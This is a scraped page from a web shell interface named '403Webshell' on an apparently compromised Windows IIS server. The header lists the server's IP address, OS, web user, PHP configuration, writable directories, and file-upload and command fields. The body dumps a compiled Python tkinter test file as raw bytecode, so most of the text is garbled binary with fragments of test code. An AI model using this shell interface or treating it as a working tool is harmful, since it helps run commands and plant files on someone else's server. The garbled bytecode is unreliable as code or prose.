403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.165
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_tkinter/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_tkinter/__pycache__/test_misc.cpython-313.pyc
�

��i����SSKrSSKrSSKrSSKJr SSKrSSKJr SSKJr SSKJ	r	J
r
JrJr \R"S5 "SS\	\R5r"S	S
\	\R5r"SS\	\R5r"S
S\	\R5r"SS\
\R5rSSjr\S:Xa\R,"5 gg)�N)�TclError)�support)�setUpModule)�AbstractTkTest�AbstractDefaultRootTest�requires_tk�get_tk_patchlevel�guic���\rSrSrSrSrSr\"SSS5S5r\"SSS5S5r	S	r
S
rSrSr
S
rSrSrSrSrSrSrSrSrSrSrSrSrg)�MiscTest�
c��URS[R5 URS[R5 UR[R5 URS[R5 URS[R5 URS[R5 URS[R5 URS[R5 g)N�Widget�CASCADE�re�sys�	constants�_tkerror�wantobjects)�assertIn�tkinter�__all__�assertIsNotNoner�assertNotIn)�selfs �0C:\Python313\\Lib\test\test_tkinter\test_misc.py�test_all�MiscTest.test_alls����
�
�h����0��
�
�i����1����W�_�_�-�����w���/��������0�����g�o�o�6�����W�_�_�5��������8�c��[R"URSS9n[R"USS9nUR	[U5S5 g)N�top��name�childz!<tkinter.Frame object .top.child>)r�Toplevel�root�Frame�assertEqual�repr)r�t�fs   r�	test_repr�MiscTest.test_reprs=�����T�Y�Y�U�3���M�M�!�'�*������a��"E�Frc
���"SS[R5n[R"UR5n[R"U5n[R"U5nUR[
U5[
U55 [R"U5nU"U5n[
U5RS5[
U5RS5-H*nURUR5[U5S9 M, [R"U5nU"U5n	UR[[
U5[
U5[
U5[
U	515S5 g)Nc��\rSrSrSrg)�.MiscTest.test_generated_names.<locals>.Button2�#�N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r2rr�Button2r0#s��rr8�.)�msg�)
r�Buttonr%r&r'�assertNotEqual�str�split�assertFalse�isidentifierr)r(�len)
rr8r*r+�f2�b�b2r#�b3�b4s
          r�test_generated_names�MiscTest.test_generated_names"s��	�g�n�n�	�
���T�Y�Y�'���M�M�!���
�]�]�1�
�����C��F�C��G�,��N�N�2���
�R�[����F�L�L��%��B��
�
�c�(:�:�D����T�.�.�0�d�4�j��A�;�
�^�^�B�
��
�R�[������c�!�f�c�"�g�s�2�w��B��@�A�1�Er��c�@�URn[R"USS9n[R"U5nUR5 UR5 [R"U5nUR5 UR5 UR
[S5 URSS9 SSS5 UR
[S5 URS5 SSS5 UR
[S5 URS5 SSS5 URUR5[5 URUR55 URUR55 URUR55 URUR55 URX"R!55 URX"R!S55 UR#X"R!S55 UR%5 URUR55 URUR!55 UR
[S	5 UR5 SSS5 UR
[S	5 UR%5 SSS5 g!,(df   GN=f!,(df   GN�=f!,(df   GN�=f!,(df   Nt=f!,(df   g=f)
N�myframer"zunknown option "-spam"�eggs��spamrPz*.m?f*mez*spam�can't find busy window)r&rr'�packr<�tk_busy_hold�assertRaisesRegexr�tk_busy_configure�tk_busy_cget�assertIsInstance�dict�
assertTrue�tk_busy_statusr@r�tk_busy_currentr�tk_busy_forget)rr&r+rCrDs     r�test_tk_busy�MiscTest.test_tk_busy2s0���y�y���M�M�$�Y�/��
�]�]�4�
 ��	����
���	��N�N�1���	����	����
�
#�
#�H�.F�
G�
���V��,�H�
�
#�
#�H�.F�
G�
�N�N�6�"�H�
�
#�
#�H�.F�
G�
����'�H����a�1�1�3�T�:�����(�(�*�+�����,�,�.�/�����*�*�,�-�����)�)�+�,��
�
�a�*�*�,�-��
�
�a�*�*�:�6�7�����-�-�g�6�7�	��������)�)�+�,�����*�*�,�-�
�
#�
#�H�.F�
G�
���!�H�
�
#�
#�H�.F�
G�
����H�
G�+H�
G��
G�
G��
G�
G��H�
G��
G�
G�s<�$K�K�K,�?K>�.L�
K�
K)�,
K;�>
L�
Lc��URnURS:XaURS5 [R"USS9nUR5 UR
SS9 URURS5S5 URSS9 URURS5S5 URUR5SS	S5 URURS5S	S5 UR5 UR[S
5 URS5 SSS5 g!,(df   g=f)N�aquaz.the cursor option is not supported on OSX/AquarMr"�gumby)�cursorrb�heartr;rQ)
r&�_windowingsystem�skipTestrr'rRrSr(rVrUr\rTr)rr&r+s   r�test_tk_busy_with_cursor�!MiscTest.test_tk_busy_with_cursorTs	���y�y��� � �F�*��M�M�J�K��M�M�$�Y�/��	����	���g��&��������1�7�;�	���7��+��������1�7�;�����,�,�.�x�8��;�W�E�����,�,�X�6�q�9�7�C�	����
�
#�
#�H�.F�
G�
�N�N�8�$�H�
G�
G�s�#D>�>
Ec�8�URnURS5 URUSS5 URS5 URUSS5 UR[R
SURS5 URSS9 URUSS5 URSSS	9 URUSS5 URUS
S5 URSSS	9 URUSS5 URUS
S5 UR[R
SURSS9 UR[R
SURSS9 UR[R
SURSS
9 g)N�black�
background�whitez^unknown color name "spam"$rP)rj�blue�yellow)rj�highlightColor�highlightcolorz!^must specify a background color$rO)rn)r&�
tk_setPaletter(rTrr�rr&s  r�test_tk_setPalette�MiscTest.test_tk_setPalettegs����y�y�����7�#�����l�+�W�5����7�#�����l�+�W�5����w�/�/�-��"�"�F�	,�	
���g��.�����l�+�W�5����f�X��F�����l�+�V�4�����.�/��:����h�v��F�����l�+�X�6�����.�/��8����w�/�/�-��"�"�v�	�	7�	
���w�/�/�3��"�"��	�	2�	
���w�/�/�3��"�"�6�	�	;rc�*^�URnS
U4SjjnURURS55 SmURSU5nURX1RRSS55 URR
URRSSU55upEUR5 URTS5 UR[R5 URRU5 SSS5 SmURSUSS5nUR5 URTS5 URS	U5nURX1RRSS55 URR
URRSSU55upEURU5 URTS5 UR[R5 URRU5 SSS5 SmURS[R"USS55nUR5 URTS5 g!,(df   GNo=f!,(df   Nm=f)Nr�c�>�X-mg�Nr2��start�step�counts  �r�callback�%MiscTest.test_after.<locals>.callback��
����L�Er�after�info�*��5i��rru)r&�assertIsNonerr�tk�call�	splitlist�updater(�assertRaisesrr�after_cancel�	functools�partial)rr&r|�timer1�script�_r{s      @r�
test_after�MiscTest.test_after�s�����y�y��	!�
	
���$�*�*�Q�-�(������A�x�(���
�
�f�g�g�l�l�7�F�;�<��g�g�'�'������W�f�f�(M�N������
������"�
�
�
�w�/�/�
0��G�G�L�L�� �1������A�x��R�0�����
������#����D�(�+���
�
�f�g�g�l�l�7�F�;�<��g�g�'�'������W�f�f�(M�N������&�!������#�
�
�
�w�/�/�
0��G�G�L�L�� �1������A�y�0�0��2�r�B�C�����
������#�-1�
0��1�
0�s�.I2�J�2
J�
Jc�L^�URnS	U4SjjnSmURU5nURX1RR	SS55 URRURR	SSU55upEUR
5 URTS5 UR[R5 URR	U5 SSS5 SmURUSS5nUR
5 URTS5 URU5nURX1RR	SS55 URRURR	SSU55upEURU5 URTS5 UR[R5 URR	U5 SSS5 g!,(df   GN!=f!,(df   g=f)
Nrruc�>�X-mgrwr2rxs  �rr|�*MiscTest.test_after_idle.<locals>.callback�r~rrr�r�r�r�r�)r&�
after_idlerr�r�r��update_idletasksr(r�rrr�)rr&r|�idle1r�r�r{s      @r�test_after_idle�MiscTest.test_after_idle�s�����y�y��	!�
������)���
�
�e�W�W�\�\�'�6�:�;��g�g�'�'������W�f�e�(L�M������������"�
�
�
�w�/�/�
0��G�G�L�L�� �1�������"�b�1�����������#�����)���
�
�e�W�W�\�\�'�6�:�;��g�g�'�'������W�f�e�(L�M������%� ������#�
�
�
�w�/�/�
0��G�G�L�L�� �1�
0�1�
0��1�
0�s�
H�H�
H�
H#c��^�URnU4SjnURSU5nURU5nUR[5 URS5 SSS5 SmURRURRSSU55upVURRU5 URTS5 URU5 UR[R5 URRU5 SSS5 URTS5 UR[R5 URRSSU5 SSS5 URU5 SmURRURRSSU55upVURRU5 URTS5 URU5 UR[R5 URRU5 SSS5 URTS5 UR[R5 URRSSU5 SSS5 g!,(df   GNE=f!,(df   GN�=f!,(df   GNW=f!,(df   N�=f!,(df   g=f)Nc�>�TS-
mg)Nrur2)r{s�rr|�,MiscTest.test_after_cancel.<locals>.callback�s����Q�J�Er�rrr�ru)r&rr�r��
ValueErrorr�r�r�r�r(rr)rr&r|r�r�r�r�r{s       @r�test_after_cancel�MiscTest.test_after_cancel�s����y�y��	����D�(�+������)���
�
�z�
*����d�#�+����g�g�'�'������W�f�f�(M�N��������V�������"����&�!�
�
�
�w�/�/�
0��G�G�L�L�� �1������"�
�
�
�w�/�/�
0��G�G�L�L��&�&�1�1�	
���&�!����g�g�'�'������W�f�e�(L�M��������V�������"����%� �
�
�
�w�/�/�
0��G�G�L�L�� �1������"�
�
�
�w�/�/�
0��G�G�L�L��&�%�0�1�
0�7+�
*��1�
0��1�
0��1�
0��1�
0�s<�J�=J.�K� K�5K#�
J+�.
J=�
K�
K �#
K1c��URnURUR5S5 URSS5nURUR5U45 UR	U5 URSS5nURSS5nURS5nURUR5XTU45 URU5nUR[
U5S5 URUSS	5 URU5nUR[
U5S5 URUSS
5 UR	U5 UR[R5 URU5 SSS5 UR	U5 UR[R5 URU5 SSS5 UR	U5 UR[R5 URU5 SSS5 URUR5S5 g!,(df   N�=f!,(df   N�=f!,(df   NQ=f)Nr2ruc��g�N�breakr2r2rr�<lambda>�*MiscTest.test_after_info.<locals>.<lambda>�s��grr�c��gr�r2r2rrr�r����'rc��gr�r2r2rrr�r�r�rc��gr�r2r2rrr�r�s��r��timer�idle)
r&r(�
after_inforr�r�rBr�rr)rr&r�r��timer2r��timer1_info�
idle1_infos        r�test_after_info�MiscTest.test_after_info�s����y�y��	
������*�B�/��
�
�1�o�.��	
������*�U�I�6����%� ����D�/�2�����D�/�2������0��������*�U�F�,C�D��o�o�f�-������[�)�1�-�����Q���1��_�_�U�+�
�����Z��!�,�����A���/����&�!�
�
�
�w�/�/�
0��O�O�F�#�1����&�!�
�
�
�w�/�/�
0��O�O�F�#�1����%� �
�
�
�w�/�/�
0��O�O�E�"�1�	
������*�B�/�1�
0��1�
0��1�
0�s$�>I
�I�I/�
I�
I,�/
I=c��URnUR5 URS5 URUR	5S5 URS5 URUR	5S5 UR5 UR[R5 UR	5 SSS5 g!,(df   g=f)NuÙñîuçōđěuÙñîçōđě�r&�clipboard_clear�clipboard_appendr(�
clipboard_getr�rrrqs  r�test_clipboard�MiscTest.test_clipboards����y�y���������h�'�����+�+�-�x�8����j�)�����+�+�-�/?�@�����
�
�
�w�/�/�
0���� �1�
0�
0���.C�
Cc��URnUR5 URS5 URUR	5S5 URS5 URUR	5S5 UR5 UR[R5 UR	5 SSS5 g!,(df   g=f)Nu𝔘𝔫𝔦u𝔠𝔬𝔡𝔢u𝔘𝔫𝔦𝔠𝔬𝔡𝔢r�rqs  r�test_clipboard_astral�MiscTest.test_clipboard_astral(s����y�y���������n�-�����+�+�-�~�>����0�1�����+�+�-�/M�N�����
�
�
�w�/�/�
0���� �1�
0�
0�r�c�^�U4SjnTRnURnTRU"S5S5 TRU"S5S5 TRU"S5S5 U"U"S5S	5 U"U"S
5S5 TR[R
5 U"S5 SSS5 TR[R
5 U"S
5 SSS5 g!,(df   N?=f!,(df   g=f)Nc�N>�[X5Hup#TRX#SS9 M g)N�!)�delta)�zip�assertAlmostEqual)�col1�col2�col1_channel�col2_channelrs    �r�assertApprox�-MiscTest.test_winfo_rgb.<locals>.assertApprox5s)���/2�$�o�*���&�&�|��&�L�/>r�red)�rrzdark slate blue)iHHi==i��z#F0F)r�rr�z#4a3c8c)iJJi<<i��z
#dede14143939)i��ii99z#123456789a)�o�N�7)r&�	winfo_rgbr(r�rr)rr�r&�rgbs`   r�test_winfo_rgb�MiscTest.test_winfo_rgb3s����	M��y�y���n�n��	
����U��]�3�����.�/�1F�G�����V��&>�?��S��^�%=�>��S��)�+C�D�
�
�
�w�/�/�
0��
��1��
�
�w�/�/�
0��
��1�
0�1�
0��1�
0�s�%	C'�	C8�'
C5�8
Dc�X�[R"UR5n[R"U5nUR	5nURU[5 URURR[U55[U55 URURR[U5SS9[U55 URURR[U5US9[U55 URURRU5[U55 URURRUSS9[U55 URURRX1S9[U55 g)N)�	displayof)rr%r&r<�winfo_idrW�intr(�winfo_pathname�hexr>)rr*�w�wids    r�test_winfo_pathname�MiscTest.test_winfo_pathnameNs0�����T�Y�Y�'���N�N�1����j�j�l�����c�3�'�������1�1�#�c�(�;�S��V�D�������1�1�#�c�(�d�1�K�S�QR�V�T�������1�1�#�c�(�a�1�H�#�a�&�Q�������1�1�#�6��A��?�������1�1�#��1�F��A��O�������1�1�#�1�C�S��V�Lrc�R�[R"5nSUlSUlSUlSUlSUlSUlSUlSUl	SUl
SUlSUlSUl
SUlSUlSUlSUlSUlUR'[)U5S5 g)N�90�??r��[��100z<100 event>)r�Event�serial�num�height�keycode�state�time�width�x�y�char�keysym�
keysym_num�type�widget�x_root�y_rootr�r(r)�r�es  r�test_event_repr_defaults�!MiscTest.test_event_repr_defaultsZs����M�M�O�������������	��������������������������������������������a��-�0rc��[R"5nSUlSUlSUlSUlSUlSUlSUlSUl	S	Ul
S
UlSUlSUl
SUl[S5Ul[R"R$UlS
UlSUlSUlSUlUR1[3U5S5 g)Nr��T���Air�i,�
��AzKey-Az.texti�i����z�<Configure event send_event=True state=Shift|Control|Button3|0x30000 keysym=Key-A keycode=65 char='A' num=3 delta=-1 focus=True x=10 y=20 width=300 height=200>)rr�r�r��focusr�r�r�r�r�r�r�r��
send_eventr��ordr��	EventType�	Configurer�r�r�r�r�r(r)r�s  r�test_event_repr�MiscTest.test_event_repros����M�M�O����������������	��������������������������3�x����"�"�,�,�������������������a��<�	=rc��"SS[R5n[R"U[R5 g)Nc��\rSrSrSr\rSrSr\rSr	Sr
SrSrS	r
S
rSrSrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!Sr"Sr#S r$S!r%S"r&S#r'S$r(S%r)S&r*S'r+g())�6MiscTest.test_eventtype_enum.<locals>.CheckedEventTypei��2�3�4�5�6�7�8�9�10�11�12�13�14�15�16�17�18�19�20�21�22�23�24�25�26�27�28�29�30�31�32�33�34�35�36�37�38r2N),r3r4r5r6�KeyPress�Key�
KeyRelease�ButtonPressr<�
ButtonRelease�Motion�Enter�Leave�FocusIn�FocusOut�Keymap�Expose�GraphicsExpose�NoExpose�
Visibility�Create�Destroy�Unmap�Map�
MapRequest�Reparentr�ConfigureRequest�Gravity�
ResizeRequest�	Circulate�CirculateRequest�Property�SelectionClear�SelectionRequest�	Selection�Colormap�
ClientMessage�Mapping�VirtualEvent�Activate�
Deactivate�
MouseWheelr7r2rr�CheckedEventTyper�s����H��C��J��K� �F��M��F��E��E��G��H��F��F�!�N��H��J��F��G��E��C��J��H��I�#���G� �M��I�#���H�!�N�#���I��H� �M��G��L��H��J��JrrV)�enum�StrEnum�_test_simple_enumrr)rrVs  r�test_eventtype_enum�MiscTest.test_eventtype_enum�s,��'	�t�|�|�'	�P	
���/��1B�1B�Crc�,�SH.nURURRU5S5 M0 SH.nURURRU5S5 M0 UR[URRS5 UR[URRS5 UR[
URRS5 UR[
URRS5 g)N)�true�yes�on�1r*r�ruTT)�false�no�off�0r+�nrFF�year�r2)�assertIsr&�
getbooleanr�r��	TypeError)r�vs  r�test_getboolean�MiscTest.test_getboolean�s���<�A��M�M�$�)�)�.�.�q�1�4�8�=�>�A��M�M�$�)�)�.�.�q�1�5�9�?����*�d�i�i�&:�&:�E�B����*�d�i�i�&:�&:�B�?����)�T�Y�Y�%9�%9�4�@����)�T�Y�Y�%9�%9�2�>rc�Z^^�/mUU4SjnTRRSU5 TRRS5 TRT/5 TRRS5 TRTS/5 TR	TRR55 g)Nc�>�TRS5 TRRSTRR5 g)Nru�d)�appendr&r�quit)�logrs��rr|�(MiscTest.test_mainloop.<locals>.callback�s(����J�J�q�M��I�I�O�O�C������0rrorur)r&r�mainloopr(rY�winfo_exists)rr|rrs` @r�
test_mainloop�MiscTest.test_mainloop�s������	1�	
�	�	����X�&��	�	���1������b�!��	�	���1������q�c�"�����	�	�.�.�0�1rc��URR5n[R"UR5nUR	UR5U5 URUSS[5 UR	[U5S5 URUS[5 URUS[5 URUS[5 URUSS5 URUS[5 URUR[5 URUR[5 URUR[5 URURS5 URUR[5 UR	USUR5 UR	USUR5 UR	USUR5 UR	USUR5 UR	USUR5 URUS	:�5 URS
:XaUR	URS5 OUR	URS5 UR[!U5R#URSUR355 g)N�rrur�r�)�alpha�beta�	candidate�finalr;)rzr{r})rurrr}r9)r&�info_patchlevelrr'r(rW�tuplerBr�r�major�minor�micro�releaselevelr�rYr>�
startswith)r�vir+s   r�test_info_patchlevel�MiscTest.test_info_patchlevel�s��
�Y�Y�
&�
&�
(���M�M�$�)�)�$������*�*�,�b�1����b��e�U�+�����R��!�$����b��e�S�)����b��e�S�)����b��e�S�)��
�
�b��e�D�E����b��e�S�)����b�h�h��,����b�h�h��,����b�h�h��,��
�
�b�o�o�'A�B����b�i�i��-�����A�����)�����A�����)�����A�����)�����A�����0�����A���	�	�*�����W��%�
�?�?�g�%����R�Y�Y��*����R�X�X�q�)�����B��*�*�b�h�h�Z�q����
�+C�D�Erc�T�[R"UR5nURSS5 UR	SS5 URUR
5S5 URSS5 UR	SS5 URUR
5S5 g)Nrzabcdef�endu€u€abcdef)r�Entryr&�insert�selection_ranger(�
selection_get)rr�s  r�test_embedded_null�MiscTest.test_embedded_null�s������t�y�y�)���
�
�a��$����q�%�(�����-�-�/��>��
�
�a��$����q�%�(�����-�-�/�1E�Frr2N)r3r4r5r6rr,rHrr]rfrrr�r�r�r�r�r�r�r�r�rrZrkrvr�r�r7r2rrrr
s���9�G�
F� ��A�q�����B��A�q��%��%�$;�8'$�R!�@'1�R&0�P	!�	!��6
M�1�*=�8)D�V?�
2�F�:Grrc� �\rSrSrSrSrSrg)�WmTesti�c���URnURSS9nURU[5 UR5nURU[5 URUSSS2[	SU555 URUSSS2[	UR
555 URS5nUR(aURXC5 OURU[5 UH&nURURU5X%5 M( UH)nURURSU-5X%5 M+ URSU5 URSU5 URS	U5 URS
:Xa6URSU5 URSU5 URS
U5 URS:XaHURSU5 URSU5 URSU5 URSU5 URS:Xa$URSU5 URSU5 URSS9 URURS5UR(aSOS5 URSS9 URURS5UR(aSOS5 URSS5 URURS5UR(aSOS5 URSS9 URURS5UR(aS5 gS5 g)NT)�return_python_dictr�c3�,# �UH
nSU-v� M g7f)�-Nr2)�.0�ks  r�	<genexpr>�+WmTest.test_wm_attribute.<locals>.<genexpr>�s���;�
�1�s�Q�w�
�s�rur�rz�
fullscreen�topmost�win32�disabled�
toolwindow�transparentcolorr`�modified�notify�	titlepath�transparent�x11r��zoomedg�?)rzz0.5g�?z1.0z-alpha)r&�
wm_attributesrWrXrr(�valuesrr>rrd)rr��
attributes�attributes2�attributes3r#s      r�test_wm_attribute�WmTest.test_wm_attribute�s����I�I���_�_��_�=�
����j�$�/��o�o�'�����k�5�1�����S�q�S�)��;�
�;�;�	=�����Q�T��T�*�E�*�2C�2C�2E�,F�G��o�o�d�+��������[�6��!�!�+�s�3��D����Q�_�_�T�2�J�4D�E���D����Q�_�_�S�4�Z�8�*�:J�K��	
�
�
�g�z�*��
�
�l�J�/��
�
�i��,�����(��M�M�*�j�1��M�M�,�
�3��M�M�,�j�9�����'��M�M�*�j�1��M�M�(�J�/��M�M�+�z�2��M�M�-��4�����&��M�M�&�*�-��M�M�(�J�/�	���c��"��������1� $� 0� 0��e�	=�	���c��"��������1� $� 0� 0��e�	=�	
����#�&��������1� $� 0� 0��e�	=�	���c��"��������1� $� 0� 0��	=�6;�	=rc�d�[R"UR5nURUR	5S5 UR	S5 SnUR
S:Xa#[
U5nUS:dSUs=::aS:aO OSnU(d URUR	5S5 URURR	5S5 UR	S5 URUR	5S5 UR
S	:Xa�UR	SS
9 URUR	5S5 URURR	5S5 UR	SS
9 URUR	5S5 UR5 g)Nr��	hourglassFr`)rJrK�)�	r)r�rr�Tr�)�default)rr%r&r(�
wm_iconbitmaprdr	�destroy)rr*�bug�
patchlevels    r�test_wm_iconbitmap�WmTest.test_wm_iconbitmap)sG�����T�Y�Y�'��������*�B�/�	����$�������'�*�1�-�J��J�&�&�J�*J��*J�������Q�_�_�.��<�������0�0�2�B�7�	�����������*�B�/�����(�
�O�O�K�O�0����Q�_�_�.��<����T�Y�Y�4�4�6��;�
�O�O�B�O�'����Q�_�_�.��3�	�	�	�rr2N)r3r4r5r6r�r�r7r2rrr�r��s
��2=�hrr�c�D�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�	EventTestiCc�2�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 UR5 URR5 UR[U5SU5 USnURUR[RR5 URUR U5 UR#UR$[&5 URUR(S5 URUR*S5 UR-[/US	55 URUR0S5 URUR2S5 URUR4S5 URUR6S5 URUR8S5 URUR:S5 URUR<S5 URUR>S5 URUR@S5 URURBS5 URURDS5 URURFS5 URURHS5 UR[KU5S
5 g)N�ro�r�r�z	<FocusIn>rurr�Frz<FocusIn event>)&rr'r&rR�wait_visibilityr��bindrp�focus_forcer�r(rBrgr�rr9r�rWr�r�r�rr@�hasattrr�r�r�r�r�r�r�r�r�r�r�r�r�r)�rr+�eventsr�s    r�
test_focus�EventTest.test_focusEs(���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���{�F�M�M�*�	�
�
���	�	��������V��a��0��1�I���
�
�a�f�f�g�/�/�7�7�8��
�
�a�h�h��"����a�h�h��,��������&��
�
�a�l�l�E�*������G�,�-��������%�������$�'��������&�������D�)�������4�(�������t�,�������$�'�������4�(�������d�#�������d�#�������4�(�������4�(�������!�$�����a��"3�4rc��[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 URSSS9 UR[U5SU5 US	nURUR[RR5 URURU5 UR!UR"[$5 URUR&S
5 URUR(S5 UR+[-US55 URUR.S
5 URUR0S
5 URUR2S
5 URUR4S
5 URUR6S
5 URUR8S
5 URUR:S5 URUR<S5 URUR>S	5 URUR@S	5 URURBS
5 URURDS
5 URURFS	5 UR[IU5S
5 g)Nr�ror�z<Configure>�xr�)r��borderwidthrurr�Frz.<Configure event x=0 y=0 width=150 height=100>)%rr'r&rRr�r�r�rp�	configurer(rBrgr�rrr�rWr�r�r�rr@r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�s    r�test_configure�EventTest.test_configuregs���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���}�f�m�m�,�	���3�B��/�����V��a��0��1�I���
�
�a�f�f�g�/�/�9�9�:��
�
�a�h�h��"����a�h�h��,��������&��
�
�a�l�l�E�*������G�,�-��������%�������$�'��������&�������D�)�������4�(�������t�,�������#�&�������3�'�������a� �������a� �������4�(�������4�(�������!�$�����a��"R�Src�b�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 UR5 URS5 UR[U5SU5 USnURUR[RR5 URUR U5 UR#UR$[&5 URUR(S5 URUR*S5 UR-[/US	55 URUR0S
5 UR#UR2[&5 UR5UR2S5 URUR6S5 UR#UR8[&5 UR5UR8S5 URUR:S5 URUR<[?S55 URUR@S
5 URURBS
5 URURDSURG5-
5 URURHSURK5-
5 URURLS5 URURNS5 URURPS5 UR[SU5S
UR2SSUR8SURDSURHS3	5 g)Nr�ror�z
<KeyPress>z<Alt-z>rurFrr��zrz<KeyPress event state=z#xz keysym=z keycode=z char='z' x=z y=�>)*rr'r&rRr�r�r�rpr��event_generater(rBrgr�rr1r�rWr�r�r�rr@r�r�r�r=r�r�r�r�rr�r�r��winfo_rootxr��winfo_rootyr�r�r�r)r�s    r�test_event_generate_key_press�'EventTest.test_event_generate_key_press�s����M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���|�V�]�]�+�	�
�
��	����#�����V��a��0��1�I���
�
�a�f�f�g�/�/�8�8�9��
�
�a�h�h��"����a�h�h��,��������#��
�
�a�l�l�E�*������G�,�-��������%����a�g�g�s�+����A�G�G�Q�'��������%����a�i�i��-����A�I�I�q�)�������3�'�������s�3�x�0�������$�'�������4�(�������b�1�=�=�?�2�3�������b�1�=�=�?�2�3�������2�&�������2�&�������!�$�����a��$�Q�W�W�R�L�1 � !�	�	�{�,�q�s�s�e�3�q�s�s�e�1�
F�	Grc�F�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 URSSSS9 UR[U5SU5 USnURUR[RR5 URURU5 UR!UR"[$5 URUR&S5 URUR(S	5 URUR*S	5 URUR,S
5 URUR.S5 URUR0S
5 URUR2S
5 URUR4S
5 URUR6S
5 URUR8S
5 URUR:S
5 URUR<S5 URUR>S5 URUR@SURC5-5 URURDSURG5-5 URURHS5 UR[KU5S5 g)Nr�ror��<Enter>�2�r�r�rurFr�z$<Enter event focus=False x=100 y=50>)&rr'r&rRr�r�r�rpr�r(rBrgr�rr7r�rWr�r�r�rrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�s    r�test_event_generate_enter�#EventTest.test_event_generate_enter�s7���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���y�&�-�-�(�	����c�R��0�����V��a��0��1�I���
�
�a�f�f�g�/�/�5�5�6��
�
�a�h�h��"����a�h�h��,��������#��
�
�a�l�l�E�*��
�
�a�g�g�u�%��������%�������!�$��������&�������D�)�������4�(�������t�,�������$�'�������4�(�������c�"�������b�!�������3�����#8�9�������2��
�
��#7�8�������!�$�����a��"H�Irc�d�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 UR5 URSSSS9 UR[U5SU5 US	nURUR[RR5 URUR U5 UR#UR$[&5 URUR(S	5 URUR*S
5 UR-[/US55 URUR0S5 URUR2S	5 URUR4S5 URUR6S5 URUR8S5 URUR:S5 URUR<S5 URUR>S5 URUR@S5 URURBS5 URURDURG5S-5 URURHURK5S-5 URURLS	5 UR[OU5S
5 g)Nr�ror�z
<ButtonPress>z
<Button-1>r�r�rurFrr�z$<ButtonPress event num=1 x=100 y=50>)(rr'r&rRr�r�r�rpr�r�r(rBrgr�rr4r�rWr�r�r�rr@r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�s    r� test_event_generate_button_press�*EventTest.test_event_generate_button_press�sC���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	�����
�
�.�	�
�
��	�������3�����V��a��0��1�I���
�
�a�f�f�g�/�/�;�;�<��
�
�a�h�h��"����a�h�h��,��������#��
�
�a�l�l�E�*������G�,�-��������"�������!�$��������&�������D�)�������4�(�������t�,�������$�'�������4�(�������c�"�������b�!�������1�=�=�?�S�#8�9�������1�=�=�?�R�#7�8�������!�$�����a��"H�Irc�d�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 UR5 URSSSS9 UR[U5SU5 US	nURUR[RR5 URUR U5 UR#UR$[&5 URUR(S	5 URUR*S
5 UR-[/US55 URUR0S5 URUR2S
5 URUR4S5 URUR6S5 URUR8S5 URUR:S5 URUR<S5 URUR>S5 URUR@S5 URURBS5 URURDURG5S-5 URURHURK5S-5 URURLS	5 UR[OU5S5 g)Nr�ror�z<Motion>z<B1-Motion>r�r�rurFrr��z'<Motion event state=Button1 x=100 y=50>)(rr'r&rRr�r�r�rpr�r�r(rBrgr�rr6r�rWr�r�r�rr@r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�s    r�test_event_generate_motion�$EventTest.test_event_generate_motion�sC���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���z�6�=�=�)�	�
�
��	����#���4�����V��a��0��1�I���
�
�a�f�f�g�/�/�6�6�7��
�
�a�h�h��"����a�h�h��,��������#��
�
�a�l�l�E�*������G�,�-��������%�������%�(��������&�������D�)�������4�(�������t�,�������$�'�������4�(�������c�"�������b�!�������1�=�=�?�S�#8�9�������1�=�=�?�R�#7�8�������!�$�����a��"K�Lrc�f�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 UR5 URSSSSS9 UR[U5SU5 US	nURUR[RR5 URUR U5 UR#UR$[&5 URUR(S
5 UR+[-US55 URUR.S	5 URUR0S5 URUR2S	5 URUR4S5 URUR6S5 URUR8S5 URUR:S5 URUR<S5 URUR>S5 URUR@S5 URURBS5 URURDURG5S-5 URURHURK5S-5 URURLS5 UR[OU5S
5 g)Nr�ror�z<MouseWheel>r����)r�r�r�rurFrr�z&<MouseWheel event delta=-5 x=100 y=50>)(rr'r&rRr�r�r�rpr�r�r(rBrgr�rrUr�rWr�r�rr@r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r�s    r�test_event_generate_mouse_wheel�)EventTest.test_event_generate_mouse_wheelsE���M�M�$�)�)�3�s�;��	�����	�	�!�!�#��	�	�"�"�$���	���~�v�}�}�-�	�
�
��	����3�"�B��?�����V��a��0��1�I���
�
�a�f�f�g�/�/�:�:�;��
�
�a�h�h��"����a�h�h��,��
�
�a�l�l�E�*������G�,�-��������#��������%�������!�$��������&�������D�)�������4�(�������t�,�������$�'�������4�(�������c�"�������b�!�������1�=�=�?�S�#8�9�������1�=�=�?�R�#7�8�������"�%�����a��"J�Krc�@�[R"URSSS9nUR5 URR	5 URR5 /nUR
SUR5 UR5 URSSS9 UR[U5SU5 USnURUR[RR5 URUR U5 UR#UR$[&5 URUR(S5 URUR*S	5 UR-[/US
